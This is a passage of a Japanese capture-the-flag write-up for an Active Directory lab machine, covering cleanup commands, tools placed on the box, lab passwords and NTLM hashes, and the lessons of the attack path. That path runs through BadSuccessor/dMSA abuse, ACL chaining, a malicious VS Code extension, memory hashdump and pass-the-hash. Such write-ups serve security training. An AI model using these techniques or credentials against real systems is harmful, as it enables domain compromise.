setspn -D http/checkpoint-vsix svc_deploysvc_deploy の msDS-SupportedEncryptionTypes を変更した場合は元に戻す。元値は空だった。
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'$u.Properties['msDS-SupportedEncryptionTypes'].Clear()$u.SetInfo()BadSuccessor 関連。
checkpoint-mark$checkpoint-svc$mark.daviesのmsDS-Superseded...svc_deployのmsDS-Superseded...
DevDrop。
- 置いた
.vsix - callback beacon
- 一時ファイル
Profile。
ryan.brooks/svc_deployに置いたツールPowerView.ps1PowerUp.ps1winPEASx64.exe
Credentials and Artifacts
Section titled “Credentials and Artifacts”初期資格情報。
alex.turner : Checkpoint2024!BadSuccessor で得た hash。
mark.davies NTLM:0b28e49d9deb96f99d74578e214faec2
svc_deploy NTLM:e16081eb077aca74bdbf8af12af43ac9VM memory から得た hash。
WIN-0DG6SJAEUTA\Administrator NTLM:f29e9c014295b9b32139b09a2790be3bこの hash は CHECKPOINT\Administrator に reuse できた。
CHECKPOINT\Administrator : f29e9c014295b9b32139b09a2790be3bFlags。
user.txt: C:\Users\ryan.brooks\Desktop\user.txtroot.txt: C:\Users\max.palmer\Desktop\root.txtRequired Knowledge
Section titled “Required Knowledge”典型的な BloodHound の shortest path だけで終わるタイプではなく、以下の力が必要だった。
- AD の基本列挙: users / groups / ACL / membership / shares
- Kerberos の時刻ズレ対応
- LDAP signing と LDAPS 不調時の切り分け
- BadSuccessor / dMSA の理解
- SMB 共有の権限差分の読み取り
- VS Code
.vsixによるコード実行 - Windows の profile / application data の調査
- VMware backup と
.vmemの扱い - Volatility による Windows memory forensic
- NTLM hash reuse と pass-the-hash
この box で必要だった知識を整理する。
AD enumeration
Section titled “AD enumeration”LDAP で users / groups / descriptions / memberOf を見る基本が重要だった。svc_deploy の Remote Management Users と BackupAccess は序盤から見えていた。
Kerberos troubleshooting
Section titled “Kerberos troubleshooting”Clock skew によって Kerberos が失敗し、BloodHound が NTLM LDAP に落ち、LDAP signing のため LDAPS に逃げて死ぬ、という連鎖を切り分ける必要があった。LDAPS を直すのではなく、時刻を合わせて Kerberos を通すのが正しい。
BadSuccessor / dMSA
Section titled “BadSuccessor / dMSA”msDS-DelegatedManagedServiceAccount の作成権限、msDS-SupersededManagedAccountLink、msDS-SupersededServiceAccountState、badS4U2self の流れが必要だった。ツールの自動処理が途中で失敗しても、オブジェクトや属性が作られているかを LDAP で確認し、手動で続ける判断が重要。
ACL chaining
Section titled “ACL chaining”alex.turner の dMSA 作成権限だけでは svc_deploy は取れない。ryan.brooks -> GenericWrite -> svc_deploy を組み合わせて初めて成立する。BloodHound の path が直接見えなくても、権限を分解して考える必要があった。
Share-based exploitation
Section titled “Share-based exploitation”DevDrop の説明文を読み、.vsix の実行を仮説化できるかが user への鍵だった。SMB の READ と READ,WRITE の差も重要。
Memory forensics
Section titled “Memory forensics”VMBackups の memory forensics という名前、.vmem、Volatility の windows.hashdump が root への鍵。vmem が DC のメモリではなく別 VM のメモリでも、hash reuse を疑うのが必要だった。
Pass-the-hash and hash reuse
Section titled “Pass-the-hash and hash reuse”ローカル Administrator hash を得た時点で、そのまま target domain の Administrator に試す判断が必要だった。hash reuse は強い確認ポイント。
Final Thought
Section titled “Final Thought”Checkpoint は、単純な AD shortest path ではなく「見えている情報を根拠に次の探索対象を選ぶ」力が問われる box だった。
前半は AD。
- 初期 creds で LDAP/SMB を丁寧に見る
- BloodHound が失敗した原因を時刻ズレとして切り分ける
- BadSuccessor と ACL を組み合わせる
中盤はアプリケーション/共有。
DevDropの説明から VS Code extension 実行を読む.vsixを作ってryan.brooksshell を取る- profile や VS Code DB を調べるが、不要なら切る
後半はフォレンジック。
svc_deployの本当の価値は WinRM ではなくVMBackups- 10GB VMDK より
.vmemを優先する判断 - Volatility で hashdump
- ローカル hash の domain reuse を試す
Medium らしく、最後はやや力技に見えるが、各段階に手掛かりはあった。特に BackupAccess、memory forensics、max.palmer の Domain Admins 所属、Administrator hash reuse は、単独では弱く見えても組み合わせると自然な経路になる。
次の教訓が大きい。
- BloodHound が壊れても LDAP 手動列挙を続ける。
- ツールのエラーは「完全失敗」とは限らない。AD object が作られているか確認する。
- 共有名と説明文を読む。
- profile や backup は最後まで見る。
- hash を得たら、その由来がローカルでも reuse を試す。

